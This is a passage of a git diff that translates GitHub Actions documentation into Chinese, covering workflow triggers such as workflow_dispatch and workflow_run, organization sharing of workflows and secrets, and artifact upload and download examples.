@@ -1220,21 +1217,21 @@ jobs: ### `watch` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`watch`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#watch) | - `started` | Last commit on default branch | Default branch | +| [`watch`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#watch) | - `started` | 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} Although only the `started` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#watch)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 尽管仅支持 `started` 活动类型,但如果将来添加更多活动类型,则指定活动类型将使工作流保持特定。 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#watch)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} {% data reusables.actions.branch-requirement %} -Runs your workflow when the workflow's repository is starred. For information about the pull request APIs, see "[addStar](/graphql/reference/mutations#addstar)" in the GraphQL API documentation or "[Starring](/rest/reference/activity#starring)" in the REST API documentation. +在工作流程的存储库加星标时运行工作流程。 有关拉取请求 API 的信息,请参阅 GraphQL API 文档中的“[addStar](/graphql/reference/mutations#addstar)”或 REST API 文档中的“[标星](/rest/reference/activity#starring)”。 -For example, you can run a workflow when someone stars a repository, which is the `started` activity type for a watch event. +例如,可以在某人为存储库加星标时(即监视事件的 `started` 活动类型)运行工作流。 ```yaml on: @@ -1242,17 +1239,17 @@ on: types: [started] ``` -{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} ### `workflow_call` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | ------------------ | ------------ | ------------ | ------------------| -| Same as the caller workflow | n/a | Same as the caller workflow | Same as the caller workflow | +| 与调用方工作流程相同 | 不适用 | 与调用方工作流程相同 | 与调用方工作流程相同 | -`workflow_call` is used to indicate that a workflow can be called by another workflow. When a workflow is triggered with the `workflow_call` event, the event payload in the called workflow is the same event payload from the calling workflow. For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +`workflow_call` 用于指示一个工作流可以由另一个工作流调用。 当使用 `workflow_call` 事件触发工作流时,被调用工作流中的事件负载与调用工作流中的事件负载相同。 有关详细信息,请参阅“[重用工作流](/actions/learn-github-actions/reusing-workflows)”。 -The example below only runs the workflow when it's called from another workflow: +以下示例仅在从另一个工作流程调用时运行工作流程: ```yaml on: workflow_call @@ -1262,24 +1259,23 @@ on: workflow_call ### `workflow_dispatch` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | ------------------ | ------------ | ------------ | ------------------| -| [workflow_dispatch](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#workflow_dispatch) | n/a | Last commit on the `GITHUB_REF` branch or tag | Branch or tag that received dispatch | +| [workflow_dispatch](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#workflow_dispatch) | 不适用 | `GITHUB_REF` 分支上的最后一次提交 | 收到了分发的分支 | -To manually trigger a workflow, use the `workflow_dispatch` event. You can manually trigger a workflow run using the {% data variables.product.product_name %} API, {% data variables.product.prodname_cli %}, or {% data variables.product.product_name %} browser interface. For more information, see "[Manually running a workflow](/actions/managing-workflow-runs/manually-running-a-workflow)." +若要手动触发工作流,请使用 `workflow_dispatch` 事件。 您可以使用 {% data variables.product.product_name %} API、{% data variables.product.prodname_cli %}或 {% data variables.product.product_name %} 浏览器界面手动触发工作流程运行。 有关详细信息,请参阅“[手动运行工作流](/actions/managing-workflow-runs/manually-running-a-workflow)”。 ```yaml on: workflow_dispatch ``` -#### Providing inputs +#### 提供输入 -You can configure custom-defined input properties, default input values, and required inputs for the event directly in your workflow. When you trigger the event, you can provide the `ref` and any `inputs`. When the workflow runs, you can access the input values in the {% ifversion actions-unified-inputs %}`inputs`{% else %}`github.event.inputs`{% endif %} context. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." +您可以直接在工作流程中配置事件的自定义输入属性、默认输入值和必要输入。 触发事件时,可以提供 `ref` 和任何 `inputs`。 当工作流运行时,可以访问 {% ifversion actions-unified-inputs %}`inputs`{% else %}`github.event.inputs`{% endif %} 上下文中的输入值。 有关详细信息,请参阅“[上下文](/actions/learn-github-actions/contexts)。” {% data reusables.actions.inputs-vs-github-event-inputs %} -{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} -This example defines inputs called `logLevel`, `tags`, and `environment`. You pass values for these inputs to the workflow when you run it. This workflow then prints the values to the log, using the {% ifversion actions-unified-inputs %}`inputs.logLevel`, `inputs.tags`, and `inputs.environment`{% else %}`github.event.inputs.logLevel`, `github.event.inputs.tags`, and `github.event.inputs.environment`{% endif %} context properties. +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5511 %} 此示例定义名为 `logLevel`、`tags` 和 `environment` 的输入。 在运行工作流程时,可以将这些输入的值传递给工作流程。 然后,此工作流使用 {% ifversion actions-unified-inputs %}`inputs.logLevel`、`inputs.tags` 和 `inputs.environment`{% else %}`github.event.inputs.logLevel`、`github.event.inputs.tags` 和 `github.event.inputs.environment`{% endif %} 上下文属性。 ```yaml on: @@ -1317,20 +1313,19 @@ jobs: ENVIRONMENT: {% ifversion actions-unified-inputs %}{% raw %}${{ inputs.environment }}{% endraw %}{% else %}{% raw %}${{ github.event.inputs.environment }}{% endraw %}{% endif %} ``` -If you run this workflow from a browser you must enter values for the required inputs manually before the workflow will run. +如果从浏览器运行此工作流程,则必须在工作流程运行之前手动输入所需输入的值。 -![Entering inputs for a workflow](/assets/images/help/images/workflow-dispatch-inputs.png) +![输入工作流程的输入](/assets/images/help/images/workflow-dispatch-inputs.png) -You can also pass inputs when you run a workflow from a script, or by using {% data variables.product.prodname_cli %}. For example: +还可以在从脚本运行工作流程时传递输入,或者使用 {% data variables.product.prodname_cli %}。 例如: ``` gh workflow run run-tests.yml -f logLevel=warning -f tags=false -f environment=staging ``` -For more information, see the {% data variables.product.prodname_cli %} information in "[Manually running a workflow](/actions/managing-workflow-runs/manually-running-a-workflow)." +有关详细信息,请参阅“[手动运行工作流](/actions/managing-workflow-runs/manually-running-a-workflow)”中的 {% data variables.product.prodname_cli %} 信息。 -{% else %} -This example defines the `name` and `home` inputs and prints them using the {% ifversion actions-unified-inputs %}`inputs.name` and `inputs.home`{% else %}`github.event.inputs.name` and `github.event.inputs.home`{% endif %} contexts. If a `home` isn't provided, the default value 'The Octoverse' is printed. +{% else %} 此示例定义 `name` 和 `home` 输入并使用 {% ifversion actions-unified-inputs %}`inputs.name` 和 `inputs.home`{% else %}`github.event.inputs.name` 和 `github.event.inputs.home`{% endif %} 上下文。 如果未提供 `home`,则显示默认值“The Octoverse”。 ```yaml name: Manually triggered workflow @@ -1361,13 +1356,13 @@ jobs: ### `workflow_run` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`workflow_run`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#workflow_run) | - `completed`
- `requested`{% ifversion actions-workflow-run-in-progress %}
- `in_progress`{% endif %} | Last commit on default branch | Default branch | +| [`workflow_run`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#workflow_run) | - `completed`
- `requested` | 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} The `requested` activity type does not occur when a workflow is re-run. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 重新运行工作流时不会出现 `requested` 活动类型。 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} @@ -1375,13 +1370,13 @@ jobs: {% note %} -**Note:** You can't use `workflow_run` to chain together more than three levels of workflows. For example, if you attempt to trigger five workflows (named `B` to `F`) to run sequentially after an initial workflow `A` has run (that is: `A` → `B` → `C` → `D` → `E` → `F`), workflows `E` and `F` will not be run. +注意:不能使用 `workflow_run` 将超过三个工作流级别链接在一起。 例如,如果尝试触发五个工作流(名为 `B` 至 `F`)在初始工作流 `A` 运行后依次运行(即:`A` → `B` → `C` → `D` → `E` → `F`),工作流 `E` 和 `F` 将不会运行。 {% endnote %} -This event occurs when a workflow run is requested or completed. It allows you to execute a workflow based on execution or completion of another workflow. The workflow started by the `workflow_run` event is able to access secrets and write tokens, even if the previous workflow was not. This is useful in cases where the previous workflow is intentionally not privileged, but you need to take a privileged action in a later workflow. +此事件在请求或完成工作流程运行时发生。 它允许您基于另一个工作流程的执行或完成来执行工作流程。 由 `workflow_run` 事件启动的工作流能够访问机密和写入令牌,即使以前的工作流不能访问也是如此。 这在以前的工作流程有意未获权限的情况下很有用,但您需要在以后的工作流程中采取特权行动。 -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes. +在此示例中,工作流程配置为在单独的“运行测试”工作流程完成后运行。 ```yaml on: @@ -1391,7 +1386,7 @@ on: - completed ``` -If you specify multiple `workflows` for the `workflow_run` event, only one of the workflows needs to run. For example, a workflow with the following trigger will run whenever the "Staging" workflow or the "Lab" workflow completes. +如果为 `workflow_run` 事件指定多个 `workflows`,则只需要运行其中一个工作流。 例如,具有以下触发器的工作流程将在 "Staging" 工作流程或 "Lab" 工作流程完成时运行。 ```yaml on: @@ -1401,9 +1396,9 @@ on: - completed ``` -#### Running a workflow based on the conclusion of another workflow +#### 基于另一个工作流程的结果运行工作流程 -A workflow run is triggered regardless of the conclusion of the previous workflow. If you want to run a job or step based on the result of the triggering workflow, you can use a conditional with the `github.event.workflow_run.conclusion` property. For example, this workflow will run whenever a workflow named "Build" completes, but the `on-success` job will only run if the "Build" workflow succeeded, and the `on-failure` job will only run if the "Build" workflow failed: +无论上一个工作流程的结果如何,工作流程运行都会被触发。 如果要基于触发工作流的结果运行作业或步骤,则可以使用带有 `github.event.workflow_run.conclusion` 属性的条件。 例如,每当名为“Build”的工作流完成时,此工作流就会运行,但 `on-success` 作业仅在“Build”工作流成功时才会运行,而 `on-failure` 作业仅在“Build”工作流失败时才会运行: ```yaml on: @@ -1424,9 +1419,9 @@ jobs: - run: echo 'The triggering workflow failed' ``` -#### Limiting your workflow to run based on branches +#### 将工作流限于基于分支的运行 -You can use the `branches` or `branches-ignore` filter to specify what branches the triggering workflow must run on in order to trigger your workflow. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_runbranchesbranches-ignore)." For example, a workflow with the following trigger will only run when the workflow named `Build` runs on a branch named `canary`. +可以使用 `branches` 或 `branches-ignore` 筛选器,指定触发工作流必须在哪些分支上运行才能触发工作流。 有关详细信息,请参阅“[GitHub Actions 的工作流语法](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_runbranchesbranches-ignore)”。 例如,仅当名为 `Build` 的工作流在名为 `canary` 的分支上运行时,具有以下触发器的工作流才会运行。 ```yaml on: @@ -1436,11 +1431,11 @@ on: branches: [canary] ``` -#### Using data from the triggering workflow +#### 使用触发工作流程中的数据 -You can access the [`workflow_run` event payload](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run) that corresponds to the workflow that triggered your workflow. For example, if your triggering workflow generates artifacts, a workflow triggered with the `workflow_run` event can access these artifacts. +可以访问与触发工作流的工作流对应的 [`workflow_run` 事件负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run)。 例如,如果触发工作流生成工件,则使用 `workflow_run` 事件触发的工作流可以访问这些工件。 -The following workflow uploads data as an artifact. (In this simplified example, the data is the pull request number.) +以下工作流程将数据作为构件上传。 (在此简化的示例中,数据是拉取请求编号。) ```yaml name: Upload data @@ -1465,7 +1460,7 @@ jobs: path: pr/ ``` -When a run of the above workflow completes, it triggers a run of the following workflow. The following workflow uses the `github.event.workflow_run` context and the {% data variables.product.product_name %} REST API to download the artifact that was uploaded by the above workflow, unzips the downloaded artifact, and comments on the pull request whose number was uploaded as an artifact. +当上述工作流程的运行完成时,它将触发以下工作流程的运行。 以下工作流使用 `github.event.workflow_run` 上下文和 {% data variables.product.product_name %} REST API 下载由上述工作流上传的工件,解压缩下载的工件,并对其编号作为工件上传的拉取请求进行注释。 ```yaml name: Use the data diff --git a/translations/zh-CN/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md b/translations/zh-CN/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md index 6d56152317..d1bb5d8819 100644 --- a/translations/zh-CN/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md +++ b/translations/zh-CN/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md @@ -1,7 +1,7 @@ --- -title: 'Sharing workflows, secrets, and runners with your organization' -shortTitle: Share workflows with your organization -intro: 'Learn how you can use organization features to collaborate with your team, by sharing starter workflows, secrets, and self-hosted runners.' +title: 与组织共享工作流程、机密和运行器 +shortTitle: Sharing workflows with your organization +intro: 了解如何通过共享入门工作流程、机密和自托管运行器,使用组织功能与团队协作。 redirect_from: - /actions/learn-github-actions/sharing-workflows-with-your-organization - /actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization @@ -11,63 +11,61 @@ versions: ghae: '*' ghec: '*' type: how_to +ms.openlocfilehash: bf80624fe1118d424a57f7c22efab6368c914819 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884259' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 概述 -## Overview +如果需要与您的团队共享工作流程和其他 {% data variables.product.prodname_actions %} 功能,则考虑在 {% data variables.product.prodname_dotcom %} 组织内协作。 组织允许您集中存储和管理机密、构件和自托管运行器。 还可以在 `.github` 存储库中创建入门工作流,并与组织中的其他用户共享这些工作流。 -If you need to share workflows and other {% data variables.product.prodname_actions %} features with your team, then consider collaborating within a {% data variables.product.prodname_dotcom %} organization. An organization allows you to centrally store and manage secrets, artifacts, and self-hosted runners. You can also create starter workflows in the `.github` repository and share them with other users in your organization. +## 共享 {% ifversion internal-actions %}操作和 {% endif %}工作流 -## Sharing {% ifversion internal-actions %}actions and {% endif %}workflows - -{% ifversion internal-actions %} -You can share both individual actions and entire workflows with your organization, with or without publishing the actions or workflows publicly. You can reuse actions and workflows exactly by referencing them in your workflow file, and you can create starter workflows that provide templates for new workflows. -{% else %} -Your organization can share workflows by reusing the workflows exactly or by creating starter workflows that provide templates for new workflows. +{% ifversion internal-actions %} 无论是否公开发布操作或工作流,都可以与组织共享各个操作和整个工作流。 您可以通过在工作流程文件中引用操作和工作流程来精确地重复使用它们,并且可以创建为新工作流程提供模板的起始工作流程。 +{% else %} 你的组织可以通过完全重用工作流或创建为新工作流提供模板的初始工作流来共享工作流。 {% endif %} {% ifversion internal-actions %} -### Sharing actions with your enterprise +### 与企业共享操作 -{% data reusables.actions.internal-actions-summary %} -{% endif %} +{% data reusables.actions.internal-actions-summary %} {% endif %} -{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} -### Reusing workflows +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} +### 重新使用工作流 -{% data reusables.actions.reusable-workflows %} -{% endif %} +{% data reusables.actions.reusable-workflows %} {% endif %} -### Using starter workflows +### 使用入门工作流程 -{% data reusables.actions.workflow-organization-templates %} For more information, see "[Creating starter workflows for your organization](/actions/using-workflows/creating-starter-workflows-for-your-organization)." +{% data reusables.actions.workflow-organization-templates %} 有关详细信息,请参阅“[为组织创建入门工作流](/actions/using-workflows/creating-starter-workflows-for-your-organization)”。 -## Sharing secrets within an organization +## 在组织内共享机密 -You can centrally manage your secrets within an organization, and then make them available to selected repositories. This also means that you can update a secret in one location, and have the change apply to all repository workflows that use the secret. +您可以在组织内集中管理您的机密,然后将其提供给选定的仓库。 这也意味着您可以在一个位置更新机密,并且将更改应用于使用该机密的所有仓库工作流程。 -When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories. +在组织中创建密码时,可以使用策略来限制可以访问该密码的仓库。 例如,您可以将访问权限授予所有仓库,也可以限制仅私有仓库或指定的仓库列表拥有访问权限。 {% data reusables.actions.permissions-statement-secrets-organization %} -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.actions.sidebar-secret %} -1. Click **New secret**. -1. Type a name for your secret in the **Name** input box. -1. Enter the **Value** for your secret. -1. From the **Repository access** dropdown list, choose an access policy. -1. Click **Add secret**. +{% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.actions.sidebar-secret %} +1. 单击“新建机密”。 +1. 在“名称”输入框中键入机密名称。 +1. 输入“机密”的值。 +1. 从“存储库访问”下拉列表中,选择访问策略。 +1. 单击“添加机密”。 -## Share self-hosted runners within an organization +## 在组织内共享自托管运行器 -Organization admins can add their self-hosted runners to groups, and then create policies that control which repositories can access the group. +组织管理员可以将其自托管的运行器添加到组,然后创建控制哪些仓库可访问该组的策略。 -For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." +有关详细信息,请参阅“[使用组管理对自托管运行器的访问权限](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)”。 -## Next steps +## 后续步骤 -To continue learning about {% data variables.product.prodname_actions %}, see "[Creating starter workflows for your organization](/actions/using-workflows/creating-starter-workflows-for-your-organization)." +若要继续了解 {% data variables.product.prodname_actions %},请参阅“[为组织创建入门工作流](/actions/using-workflows/creating-starter-workflows-for-your-organization)”。 diff --git a/translations/zh-CN/content/actions/using-workflows/storing-workflow-data-as-artifacts.md b/translations/zh-CN/content/actions/using-workflows/storing-workflow-data-as-artifacts.md index 0be100e2ea..feb37bfee4 100644 --- a/translations/zh-CN/content/actions/using-workflows/storing-workflow-data-as-artifacts.md +++ b/translations/zh-CN/content/actions/using-workflows/storing-workflow-data-as-artifacts.md @@ -1,7 +1,7 @@ --- -title: Storing workflow data as artifacts -shortTitle: Store artifacts -intro: Artifacts allow you to share data between jobs in a workflow and store data once that workflow has completed. +title: 将工作流程数据存储为构件 +shortTitle: Storing workflow artifacts +intro: 构件允许您在工作流程完成后,分享工作流程中作业之间的数据并存储数据。 redirect_from: - /articles/persisting-workflow-data-using-artifacts - /github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts @@ -17,64 +17,68 @@ versions: type: tutorial topics: - Workflows +ms.openlocfilehash: d23b62f1e77fd08fd798f4fb1af9f44e4d1b1123 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146179733' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 关于工作流程构件 -## About workflow artifacts +构件允许您在作业完成后保留数据,并与同一工作流程中的另一个作业共享该数据。 构件是指在工作流程运行过程中产生的文件或文件集。 例如,在工作流程运行结束后,您可以使用构件保存您的构建和测试输出。 {% data reusables.actions.reusable-workflow-artifacts %} -Artifacts allow you to persist data after a job has completed, and share that data with another job in the same workflow. An artifact is a file or collection of files produced during a workflow run. For example, you can use artifacts to save your build and test output after a workflow run has ended. {% data reusables.actions.reusable-workflow-artifacts %} +{% data reusables.actions.artifact-log-retention-statement %} 每当有人向拉取请求推送新提交时,拉取请求的保留期都会重新开始计算。 -{% data reusables.actions.artifact-log-retention-statement %} The retention period for a pull request restarts each time someone pushes a new commit to the pull request. +以下是您可以上传的一些常见构件: -These are some of the common artifacts that you can upload: - -- Log files and core dumps -- Test results, failures, and screenshots -- Binary or compressed files -- Stress test performance output and code coverage results +- 日志文件和核心转储文件 +- 测试结果、失败和屏幕截图 +- 二进制或压缩文件 +- 压力测试性能输出和代码覆盖结果 {% ifversion fpt or ghec %} -Storing artifacts uses storage space on {% data variables.product.product_name %}. {% data reusables.actions.actions-billing %} For more information, see "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)." +存储构件时使用存储空间 {% data variables.product.product_name %}。 {% data reusables.actions.actions-billing %} 有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions)”。 {% else %} -Artifacts consume storage space on the external blob storage that is configured for {% data variables.product.prodname_actions %} on {% data variables.location.product_location %}. +项目会占用外部 Blob 存储上的存储空间,该存储为 {% data variables.product.product_location %} 上的 {% data variables.product.prodname_actions %} 配置。 {% endif %} -Artifacts are uploaded during a workflow run, and you can view an artifact's name and size in the UI. When an artifact is downloaded using the {% data variables.product.product_name %} UI, all files that were individually uploaded as part of the artifact get zipped together into a single file. This means that billing is calculated based on the size of the uploaded artifact and not the size of the zip file. +构件会在工作流程运行过程中上传,您可以在 UI 中查看构件的名称和大小。 当构件使用 {% data variables.product.product_name %} UI 下载时, 作为构件一部分单独上传的所有文件都会压缩到一个 zip 文件中。 这意味着计费是根据上传的构件大小而不是 zip 文件的大小计算的。 -{% data variables.product.product_name %} provides two actions that you can use to upload and download build artifacts. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.location.product_location %}{% endif %}. +{% data variables.product.product_name %} 提供两项可用于上传和下载构建构件的操作。 有关详细信息,请参阅 {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) 和 [download-artifact](https://github.com/actions/download-artifact) 操作{% else %} {% data variables.product.product_location %} 上的 `actions/upload-artifact` 和 `download-artifact` 操作{% endif %}。 -To share data between jobs: +要在作业之间共享数据: -* **Uploading files**: Give the uploaded file a name and upload the data before the job ends. -* **Downloading files**: You can only download artifacts that were uploaded during the same workflow run. When you download a file, you can reference it by name. +* **上传文件**:为上传的文件指定一个名称,并在作业结束前上传数据。 +* **下载文件**:只能下载在同一工作流运行期间上传的工件。 下载文件时,您可以通过名称引用该文件。 -The steps of a job share the same environment on the runner machine, but run in their own individual processes. To pass data between steps in a job, you can use inputs and outputs. For more information about inputs and outputs, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)." +作业步骤共享运行器机器的相同环境,但在其各自的进程中运行。 要在作业的步骤之间传递数据,您可以使用输入和输出。 有关输入和输出的详细信息,请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/articles/metadata-syntax-for-github-actions)”。 {% ifversion actions-caching %} {% data reusables.actions.comparing-artifacts-caching %} -For more information on dependency caching, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#comparing-artifacts-and-dependency-caching)." +有关依赖项缓存的详细信息,请参阅“[缓存依赖项以加快工作流](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#comparing-artifacts-and-dependency-caching)”。 {% endif %} -## Uploading build and test artifacts +## 上传构建和测试构件 -You can create a continuous integration (CI) workflow to build and test your code. For more information about using {% data variables.product.prodname_actions %} to perform CI, see "[About continuous integration](/articles/about-continuous-integration)." +您可以创建持续集成 (CI) 工作流程来构建和测试您的代码。 有关使用 {% data variables.product.prodname_actions %} 执行 CI 的详细信息,请参阅“[关于持续集成](/articles/about-continuous-integration)”。 -The output of building and testing your code often produces files you can use to debug test failures and production code that you can deploy. You can configure a workflow to build and test the code pushed to your repository and report a success or failure status. You can upload the build and test output to use for deployments, debugging failed tests or crashes, and viewing test suite coverage. +构建和测试代码的输出通常会生成可用于调试测试失败的文件和可部署的生产代码。 您可以配置一个工作流程来构建和测试推送到仓库中的代码,并报告成功或失败状态。 您可以上传构建和测试输出,以用于部署、调试失败的测试或崩溃以及查看测试套件范围。 -You can use the `upload-artifact` action to upload artifacts. When uploading an artifact, you can specify a single file or directory, or multiple files or directories. You can also exclude certain files or directories, and use wildcard patterns. We recommend that you provide a name for an artifact, but if no name is provided then `artifact` will be used as the default name. For more information on syntax, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) action{% else %} `actions/upload-artifact` action on {% data variables.location.product_location %}{% endif %}. +可以使用 `upload-artifact` 操作上传工件。 上传构件时,您可以指定单个文件或目录,或多个文件或目录。 您还可以排除某些文件或目录,以及使用通配符模式。 建议为工件命名,如果没有命名,则会使用 `artifact` 作为默认名称。 有关语法的详细信息,请参阅 {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) 操作{% else %} {% data variables.product.product_location %} 上的 `actions/upload-artifact` 操作{% endif %}。 -### Example +### 示例 -For example, your repository or a web application might contain SASS and TypeScript files that you must convert to CSS and JavaScript. Assuming your build configuration outputs the compiled files in the `dist` directory, you would deploy the files in the `dist` directory to your web application server if all tests completed successfully. +例如,您的仓库或 Web 应用程序可能包含必须转换为 CSS 和 JavaScript 的 SASS 和 TypeScript 文件。 假设生成配置输出 `dist` 目录中已编译的文件,如果所有测试均已成功完成,则可将 `dist` 目录中的文件部署到 Web 应用服务器。 ``` |-- hello-world (repository) @@ -88,9 +92,9 @@ For example, your repository or a web application might contain SASS and TypeScr | ``` -This example shows you how to create a workflow for a Node.js project that builds the code in the `src` directory and runs the tests in the `tests` directory. You can assume that running `npm test` produces a code coverage report named `code-coverage.html` stored in the `output/test/` directory. +此示例演示了如何创建 Node.js 项目的工作流,该项目在 `src` 目录中生成代码,在 `tests` 目录中运行测试。 可以假定运行 `npm test` 会生成一个名为 `code-coverage.html`、存储在 `output/test/` 目录中的代码覆盖率报告。 -The workflow uploads the production artifacts in the `dist` directory, but excludes any markdown files. It also uploads the `code-coverage.html` report as another artifact. +工作流上传 `dist` 目录中的生产工件,但不包括任何 Markdown 文件。 它还将 `code-coverage.html` 报表作为另一个工件上传。 ```yaml{:copy} name: Node CI @@ -122,9 +126,9 @@ jobs: path: output/test/code-coverage.html ``` -## Configuring a custom artifact retention period +## 配置自定义构件保留期 -You can define a custom retention period for individual artifacts created by a workflow. When using a workflow to create a new artifact, you can use `retention-days` with the `upload-artifact` action. This example demonstrates how to set a custom retention period of 5 days for the artifact named `my-artifact`: +您可以为工作流程创建的单个构件自定义保留期。 使用工作流创建新工件时,可以同时使用 `retention-days` 和 `upload-artifact` 操作。 此示例演示如何为名为 `my-artifact` 的工件设置 5 天的自定义保留期: ```yaml{:copy} - name: 'Upload Artifact' @@ -135,25 +139,25 @@ You can define a custom retention period for individual artifacts created by a w retention-days: 5 ``` -The `retention-days` value cannot exceed the retention limit set by the repository, organization, or enterprise. +`retention-days` 值不能超过存储库、组织或企业设置的保留限制。 -## Downloading or deleting artifacts +## 下载或删除构件 -During a workflow run, you can use the [`download-artifact`](https://github.com/actions/download-artifact) action to download artifacts that were previously uploaded in the same workflow run. +在工作流运行期间,可以使用 [`download-artifact`](https://github.com/actions/download-artifact) 操作下载以前在同一工作流运行中上传的工件。 -After a workflow run has been completed, you can download or delete artifacts on {% data variables.product.prodname_dotcom %} or using the REST API. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)," "[Removing workflow artifacts](/actions/managing-workflow-runs/removing-workflow-artifacts)," and the "[Artifacts REST API](/rest/reference/actions#artifacts)." +工作流程运行完成后,您可以在 {% data variables.product.prodname_dotcom %} 上或使用 REST API 下载或删除构件。 有关详细信息,请参阅“[下载工作流工件](/actions/managing-workflow-runs/downloading-workflow-artifacts)”、“[删除工作流工件](/actions/managing-workflow-runs/removing-workflow-artifacts)”和“[工件 REST API](/rest/reference/actions#artifacts)”。 -### Downloading artifacts during a workflow run +### 在工作流程运行期间下载构件 -The [`actions/download-artifact`](https://github.com/actions/download-artifact) action can be used to download previously uploaded artifacts during a workflow run. +[`actions/download-artifact`](https://github.com/actions/download-artifact) 操作可用于在工作流运行期间下载以前上传的工件。 {% note %} -**Note:** You can only download artifacts in a workflow that were uploaded during the same workflow run. +注意:只能下载在同一工作流运行期间上传的工作流中的工件。 {% endnote %} -Specify an artifact's name to download an individual artifact. If you uploaded an artifact without specifying a name, the default name is `artifact`. +指定构件的名称以下载单个构件。 如果在未指定名称的情况下上传了工件,则默认名称为 `artifact`。 ```yaml - name: Download a single artifact @@ -162,37 +166,37 @@ Specify an artifact's name to download an individual artifact. If you uploaded a name: my-artifact ``` -You can also download all artifacts in a workflow run by not specifying a name. This can be useful if you are working with lots of artifacts. +您还可以不指定名称而下载工作流程运行中的所有构件。 如果您在处理大量构件,此功能非常有用。 ```yaml - name: Download all workflow run artifacts uses: {% data reusables.actions.action-download-artifact %} ``` -If you download all 